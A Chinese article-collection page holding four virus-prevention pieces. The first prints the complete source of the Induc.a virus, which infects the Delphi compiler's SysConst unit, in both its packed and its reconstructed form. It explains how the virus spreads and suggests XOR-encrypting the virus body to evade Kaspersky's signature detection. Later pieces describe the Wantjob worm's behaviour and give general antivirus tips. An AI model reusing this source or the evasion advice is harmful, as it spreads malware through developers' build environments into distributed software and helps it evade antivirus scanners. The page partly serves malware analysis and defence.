感染delphi编译器的SysConst.dcu病毒病毒防范

时间:2023-12-30 08:14:18 其他范文 收藏本文 下载本文

感染delphi编译器的SysConst.dcu病毒病毒防范(共4篇)由网友“sunglow2010”投稿提供,以下是小编为大家准备的感染delphi编译器的SysConst.dcu病毒病毒防范,希望对大家有帮助。

感染delphi编译器的SysConst.dcu病毒病毒防范

篇1:感染delphi编译器的SysConst.dcu病毒病毒防范

作者:Azrael  日期:-08-19

好有趣的感染方式,够可爱了~

今天群的人发了一条链接,关于许多人SysConst.dcu被感染.

被感染后的SysConst.dcu体积是18KB左右,正常的SysConst.dcu是12KB左右.

偷偷瞄了一下偶的SysConst.dcu,竟然被感染了,而且潜伏的时间应该超过4个月~

只是前两天卡巴更新病毒库,卡巴报病毒名为:Virus.Win32.Induc.a,大家才发觉有所不妥.

uses windows; var sc:array[1..24] of string=(',

'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s',

'=#36 then s:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',

'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',

'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if hDWORD(-1) then begin CloseHandle',

'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult0 then exit;assignfile',

'(f2,d+$pas$);rewrite(f2);if ioresult0 then begin closefile(f1);exit;end; while',

'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)0',

'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',

',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',

'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',

')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',

'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$“$+d+$pas”$),0,0,false,0,0,0,',

'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',

'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',

'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',

'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',

'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',

'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',

'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',

'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',

'1; while c#0 do begin r:=r+c;inc(i);end;re(r+$\source\rtl\sys\SysConst$+',

'$.pas$,r+$\lib\sysconst.$,$“$+r+$\bin\dcc32.exe” $);end;RegCloseKey(k);end; end;',

'begin st; end.

稍微还原一下就是

function x(s:string):string;

var

i:integer;

begin

for i:=1 to length(s) do

if s=#36 then s:=#39;

result:=s;

end;

procedure re(s,d,e:string);

var

f1,f2:textfile;

h:cardinal;

f:STARTUPINFO;

p:PROCESS_INFORMATION;

b:boolean;

t1,t2,t3:FILETIME;

begin

h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);

if hDWORD(-1) then

begin

CloseHandle(h);

exit;

end;

{'I-}assignfile(f1,s);

reset(f1);

if ioresult0 then

exit;

assignfile(f2,d+'pas');

rewrite(f2);

if ioresult0 then

begin

closefile(f1);

exit;

end;

while not eof(f1) do

begin

readln(f1,s);

writeln(f2,s);

if pos('implementation',s)0 then

break;

end;

for h:= 1 to 1 do

writeln(f2,sc[h]);

for h:= 1 to 23 do

writeln(f2,''''+sc[h],''',');

writeln(f2,''''+sc[24]+''');');

for h:= 2 to 24 do

writeln(f2,x(sc[h]));

closefile(f1);

closefile(f2);

{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));

fillchar(f,sizeof(f),0);

f.cb := sizeof(f);

f.dwFlags := STARTF_USESHOWWINDOW;

f.wShowWindow := SW_HIDE;

b := CreateProcess(nil,pchar(e+'“'+d+'pas”'),0,0,false,0,0,0,f,p);

if b then

WaitForSingleObject(p.hProcess,INFINITE);

MoveFile(pchar(d+'bak'),pchar(d+'dcu'));

DeleteFile(pchar(d+'pas'));

h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);

if h=DWORD(-1) then

exit;

GetFileTime(h,@t1,@t2,@t3);

CloseHandle(h);

h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);

if h=DWORD(-1) then

exit;

SetFileTime(h,@t1,@t2,@t3);

CloseHandle(h);

end;

procedure st;

var

k:HKEY;

c:array [1..255] of char;

i:cardinal;

r:string;

v:char;

begin

for v:='4' to '7' do

if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then

begin

i:=255;

if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then

begin

r:='';

i:=1;

while c#0 do

begin

r:=r+c;

inc(i);

end;

re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','“'+r+'\bin\dcc32.exe” ');

end;

RegCloseKey(k);

end;

end;

begin

st;

end.

大概分析一下原理

病毒的主体代码,首先执行后从注册表“HKEY_LOCAL_MACHINE\Software\Borland\Delphi\”的RootDir值下读取Delphi路径.

然后再读取delphi路径下的\source\rtl\sys\SysConst.pas文件,循环读取直到implementation行.然后跳出循环,下面开始输出恶意代码.保存文件后,最后使用MoveFile函数将原来的SysConst.dcu命名为SysConst.bak,最后使用CreateProcess函数隐藏调用dcc32.exe编译被感染后的SysConst.pas单元文件为SysConst.dcu.获取原文件时间,修改被感染后文件的时间,所以从文件时间上看不出任何变化.

被感染后的编译环境只要加入SysUtils单元所编译的任意可执行文件都会成为病毒载体,感染Delphi下的编译环境~

从代码可以看得出,作者用意不在破坏,而是静默无声无色地实现感染,一次又一次的感染,不断地传播代码的主体.

稍微推测一下作者,不像国人的作风,国人稍微找到一丁点可以利用的东西,肯定借题发挥.不断地XX转化为利益.

就算不为利益,肯定很炫耀地贴上by xxx,好让全世界都知道是他弄的.

从数组变量命名为sc,不难想象,其实应该是Source Code的缩写,像老外作风,觉得作者应该是国外的.

而且作者很低调,似乎只是想实现自己的一种自我价值.享受着精神上的价值,不过也可以说是恶作剧.

还好没有加入其它更邪恶的代码,要是弄一个下载者功能进去,又开始无敌了~

通过感染源文件实现传播,感染确实有那么一点点新颖,以前有想过,不过感觉作者实现得很好.

主动防御的出现确实抹杀了不少病毒和木马之间的生存空间,起码传统上的几乎无一幸免.

传统上的传播已经江郎才尽,能发挥的都发挥了,只有其他更多种多样的途径上传播才是王道.

感染源文件,那样可委屈那些开发人员的,好不容易写出一套程序,编译后并发布,却要背负着植入恶意代码的嫌疑,真是悲哀~

而且稍微补充一下这个XX的不足

1.主体代码用字符串数组的方式保存,随便用一些十六进制编辑软件都能看见主要代码,容易泄漏技术细节.

2.因为字符串内包含'符号会导致编译冲突.所以作者弄了一个x函数,本意是将字符串内的$替换为'符号.

结合以上两点,可以考虑用简单的xor异或加密的方式保存主体代码.而且密钥方面可以随机改变一下.

我尝试将被感染后的程序内的主体字符串代码填充为00,然后保存后,卡巴大叔不杀了,哈哈~

可以看得出,卡巴是通过特征码查杀技术,假如将那段主体代码每次随机加密保存,不知道卡叔如何对付呢?应该会用上启发式查杀,哈哈~

注意,就算恢复回原来的SysConst.dcu文件,但是那些被感染过的程序再次执行,还会再次被感染.

暂时免疫方法:恢复后,设置SysConst.dcu文件属性为只读,并且保留SysConst.bak文件或者创建SysConst.bak名字的文件夹.

篇2:“求职信”病毒的感染过程病毒防范

病毒名称:Worm.wantjob.57345

危害性:高

病毒运行的过程:

1、首先将自己要用到的字符串解码,

2、启动一个线程不停的查询内存中的进程、检查是否有一些杀毒软件存在(如AVP/NAV/NOD/Macfee等)。如果存在则将该杀毒软件的进程终止。每隔0.1秒就循环检查进程一次,以至于这些杀毒软件无法运行。

3、接着病毒启动另一个线程,用来创建一个名为WQK.EXE的文件运行、拷贝到的目录。然后将自身复制到的目录。

4、然后修改注册表,使自己的每次系统启动都自动运行。

5、将自己注册为系统的服务进程。

6、启动一个线程用于发送邮件,病毒再次利用Nimda病毒利用的Iframe. ExecCommand漏洞,使没有打IE补丁的用户收到邮件后会自动运行。病毒会随机选取以下语句作为邮件主题:

Hi

Hello

How are you?

Can you help me?

We want peace

Where will you go?

Congratulations!!!

Don’t Cry

Look at the pretty

Some advice on your shortcoming

Free XXX Pictures

A free hot porn site

Why don’t you reply to me?

How about have dinner with me together?

Never kiss a stranger

邮件体为空,但编码中有一段注释:

I’m sorry to do so,but it’s helpless to say sorry.

I want a good job,I must support my parents.

Now you have seen my technical capabilities.

How much my year-salary now? NO more than $5,500.

What do you think of this fact?

Don’t call my names,I have no hostility.

Can you help me?

基于该病毒的这个信息,金山毒霸命名为wantjob病毒,全称为:Worm.wantjob.57345,

7、启动感染网上邻居的线程。该线程发现可写的共享目录时,会随机生成一个文件名,并将病毒自身进行加密,用该文件名将病毒复制过去。然后Sleep8小时再感染一次。文件的长度会有60168、60169等的变化。文件名的生成规则:

第一部分随机生成的名字为字母或数字,最后补一个“。”,

第二部分在Htm、Doc、Jpg、Bmp、Xls、Cpp、Html、Mpg、Mpeg中选择一个。

第三部分补上exe作为扩展名。

8、启动26个线程,遍历硬盘、网络盘一遍找满足扩展名需求的文件,这个文件名将用于邮件发送

9、进入一个循环,检查本地的时间,如果时间为1月13日,则马上启动26个破坏线程,该线程查找硬盘上的所有文件,并用内存中的数据覆盖硬盘上的文件。

篇3:从外置硬盘中清除感染病毒病毒防范

当你的硬盘驱动器被损坏或者受感染,可以使用受信的厂商开发的杀毒软件程序来清除,这是最简单的办法,通常内部硬盘只有一个操作系统安装在里面,故障排除更容易些,因为你安装程序在外部硬盘的过程是完全不同的。它更是一个文件存储设备你应当确保你使用的杀毒软件可以设置扫描这些可移除存储设备。虽然你可能不经常使用它或者没有扫描计划,养成这样的习惯很重要。然后当威胁发现是你可以在早期阶段就清除掉。外部驱动器比内部驱动器更容易受攻击,因为它具有大容量不像USB驱动器。恶意威胁一直在寻找自己的归宿,尤其是有许多文件和文件夹占用的地方,

所有你需要做的就是使用杀毒软件程序开始扫描过程,然而这样做之前你的确保驱动器的合理性。同样的去到我的电脑,它将列出外部存储器分类。你也可以选择扫描独立文件或者文件夹得到更具体的结果。相比全盘扫描,单独指定盘扫描可以更节省时间。当你清除那些具体文件夹的感染时这很有用。如果进入缓慢或者显示无法识别文件列表时,你首先想到不要去下载。当你在我的电脑中不能鉴别驱动器,只需要选择使用杀毒软件工具并命令它扫描可移除驱动器。没有一个USB驱动器或者其他驱动器被连接,它会自动进入外部驱动器扫描。

在这个过程之前,要确保硬盘合适的连接,要使用优质的电缆制造商,因为有时低质量的电缆可能导致不正确的扫描结果。它会影响到你的硬盘性能,使得扫描过程耗时且难以完成。杀毒软件是最可靠最实用的工具。使用COMODO杀毒软件保持你的外部硬盘安全,该程序是由著名的公司开发设计。利用最好的最有经验的免费存储解决方案。

篇4:告诉您10种可能感染病毒的现象病毒防范

如果用户的系统经常被感染,那么我们建议使用杀毒软件进行全面检测,但就当前的网络安全情况,仅仅这些是不够的。频繁地的病毒感染和传播,至少需要对电脑病毒感染有一个初步的了解,许多初次使用者有很少或根本没有主意。虽然现在许多恶意软件被设计的特别不易察觉,但仍有一些表象能说明系统已经受到损害的症状。

熊猫安全公司的反病毒实验室---熊猫实验室(PandaLabs)近期发布了一个简单的指南,提出了10个最常见的染毒症状,帮助所有用户找出他们的系统是否处于危险之中。

1. 我的电脑提醒我:有各种类型的弹出窗口和信息的桌面上,弹出广告说“电脑被感染了,需要保护…”这是一个典型被感染的实例。电脑上感染的不是间谍软件,要不就是已经感染了仿冒防病毒软件(也被称为“流氓软件”)。

2. 我的计算机运行的速度极慢…这可能是许多情况的表现,包括感染了病毒。如果感染了病毒,蠕虫或木马,如果再在电脑上运行一些其他的任务,可能会耗费大量资源,从而使系统比平时运行慢的多。

3. 应用无法启动。有多少次你想从开始菜单或是桌面运行应用程序但没有反应?有时甚至会运行另一个程序。在以往的情况中,这可能是另一种类型的问题,但是非常少的症状告诉你有什么不对劲。

4. 我不能连接到互联网或有时计算机运行的很慢。网络连接丢失是感染的另一种常见症状,虽然也有可能是ISP或是路由的问题。你可能也有连接比平时运行慢得多的情况。如果你已经被感染,这个恶意软可能连接到一个网址或开放单独的连接,从而减少你可用带宽或使它几乎使你不能使用互联网。

5. 当我连接到互联网,所有类型的窗户打开或是浏览器显示我没打开的网页。这是另一个肯定感染的症状。许多威胁被设计成违背用户意志改变链接到一些特定网站甚至是欺骗网页。使你认为是在一个合法的网站时,实际上你已被送往一个恶意虚假网站。

摘要:如果用户的系统经常被感染,那么我们建议使用杀毒软件进行全面检测。但就当前的网络安全情况,仅仅这些是不够的。频繁地的病毒感染和传播,至少需要对电脑病毒感染有一个初步的了解,许多初次使用者有很少或根本没有主意,

虽然现在许多恶意软件被设计的特别不易察觉,但仍有一些表象能说明系统已经受到损害的症状。

关键字:

有奖调查:

安全Web网关采购指南

Gartner公司曾发布了《安全Web网关采购指南》一文。这份指南列出了顾客应当考虑哪些最先进的功能特性,以便有助于自己选择最佳的解决方案。安全Web网关(SWG)这种产品可以把来自端点Web/互联网流量的有害软件或恶意软件过滤掉,并执行企业策略和法规政策,确保符合要求。

6. 我的文件哪儿去了?目前有一些恶意软件能够删除文件或将文件加密,甚至把文件从一个地方移到另一个地方…如果你发现自己有这种情况,你真的应该开始担心计算机是否感染了病毒…

7. 我的防病毒软件已经消失了,我的防火墙被禁用了…这是许多威胁的又一个典型特种,他们破坏安装在电脑上安全系统(防病毒软件、防火墙等等)。也许如果一个软件关闭,它可能只是一个特定的软件故障,但如果你所有的安全部件都被禁用,几乎可以肯定是感染了病毒。

8. 我的电脑显示一种陌生的语言。如果应用程序语言发生改变,屏幕上出现前后颠倒、奇怪的昆虫开始吃桌面…那么也可能是系统感染了病毒。

9. 我电脑上运行的游戏、程序的库文件消失了。如果出现这种情况,这可能是感染的症状,也可能是下载了不完整或不正确的安装程序。

10. 我的电脑确实已经疯了。如果电脑开始自己活动,你突然发觉你的系统在你不知情的情况下已经发送了电子邮件,互联网访问或是应用程序偶尔自己启动…说明你的系统已被恶意软件损坏。

在所有上述情况中,你发现有些情况很类似,说明你很可能被病毒感染了,熊猫实验室建议你安装一套的杀毒软件。同时,建议您使用一个免费在线杀毒软件,如:Panda ActiveScan,或者安装与其它引擎兼容的防病毒软件,例如:熊猫云杀毒- Panda Cloud Antivirus,它是免费的云安全杀毒软件。

有一件事是确定的,保持您的电脑健康,因为他可以防止资料丢失,你的这些重要资料在很多情况下就是你的金钱。

计算机毕业论文范文

浅谈用delphi来编写蠕虫病毒

Windows API 程序的组织结构.net

小燕病毒分析报告病毒防治

计算机软考网络管理员模拟练习题及答案参考

浅析基于可验证计算的可信云计算优秀论文

医院床位资源管理系统的设计与实现论文

全国计算机三级数据库技术备考练习题

工程师求职必读:认真推销你的简历

后门750字作文

感染delphi编译器的SysConst.dcu病毒病毒防范
《感染delphi编译器的SysConst.dcu病毒病毒防范.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【感染delphi编译器的SysConst.dcu病毒病毒防范(共4篇)】相关文章:

计算机内网安全相关知识2022-10-13

防止邮件服务器被滥用网络服务器2022-06-14

计算机二级答案2022-05-04

广州会计电算化基础知识考试试卷2023-02-04

超强穿透力 攻破你的“壳”病毒防范2022-04-29

计算机病毒的预防论文2024-02-14

计算机基础知识试题及答案2023-08-20

会计电算化考试题型2023-12-09

检查电脑中毒与否的方法2022-10-20

安全工具暗藏杀机:快速识别后门程序2022-12-20

点击下载本文文档